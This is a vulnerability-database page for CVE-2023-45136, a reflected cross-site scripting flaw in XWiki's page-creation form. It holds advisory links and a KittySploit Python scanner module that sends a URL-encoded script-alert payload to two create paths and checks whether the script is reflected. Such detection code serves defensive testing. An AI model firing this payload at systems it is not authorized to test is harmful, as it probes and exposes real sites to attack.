XWiki < 14.10.14 - Cross-Site Scripting Detection
| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| XWiki Platform Cross-Site Scripting Vulnerability | 25 Oct 202300:00 | – | cnnvd | |
| CVE-2023-45136 | 25 Oct 202319:36 | – | cve | |
| CVE-2023-45136 XWiki Platform web templates vulnerable to reflected XSS in the create document form if name validation is enabled | 25 Oct 202319:36 | – | cvelist | |
| XWiki Platform web templates vulnerable to reflected XSS in the create document form if name validation is enabled | 25 Oct 202321:13 | – | github | |
| CVE-2023-45136 | 25 Oct 202319:36 | – | mend | |
| XWiki < 14.10.14 - Cross-Site Scripting | 15 Oct 202602:05 | – | nuclei | |
| CVE-2023-45136 | 25 Oct 202320:15 | – | nvd | |
| XWiki 12.0-rc-1 < 14.10.12, 15.0-rc-1 < 15.5 XSS Vulnerability (GHSA-qcj9-gcpg-4w2w) | 16 Nov 202300:00 | – | openvas | |
| GHSA-QCJ9-GCPG-4W2W XWiki Platform web templates vulnerable to reflected XSS in the create document form if name validation is enabled | 25 Oct 202321:13 | – | osv | |
| Cross site scripting | 25 Oct 202320:15 | – | prion |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'XWiki < 14.10.14 - Cross-Site Scripting Detection',
'description': 'XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. When document names are validated according to a name strategy (disabled by default), XWiki starting in version 12.0-rc-1 and prior to versions 12.10.12 and 15.5-rc-1 is vulnerable to a reflected cross-site scripting attack in the page creation form. This allows an attacker to execute arbitrary actions with the rights of the user opening the malicious link.',
'author': ['KittySploit Team'],
'severity': 'medium',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'xwiki', 'xss', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 2,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': ['https://jira.xwiki.org/browse/XWIKI-20854', 'https://nvd.nist.gov/vuln/detail/CVE-2023-45136'],
'cve': 'CVE-2023-45136',
}
def run(self):
for path in ('/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E', '/xwiki/bin/create/Main/%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'):
r = self.http_request(method="GET", path=path, allow_redirects=False)
if not r or r.status_code != 200:
continue
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
body_all = ('<script>alert(document.domain)</script>', 'data-xwiki-reference',)
header_any = ('text/html',)
if (all(m in body for m in body_all)) and (any(m in headers for m in header_any)):
self.set_info(
severity='medium',
reason="XWiki < 14.10.14 - Cross-Site Scripting detected",
path=path,
)
return True
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
28 Jul 2026 11:27Current
8.5High risk
Vulners AI Score8.5
CVSS 3.19.6
EPSS0.05124
SSVC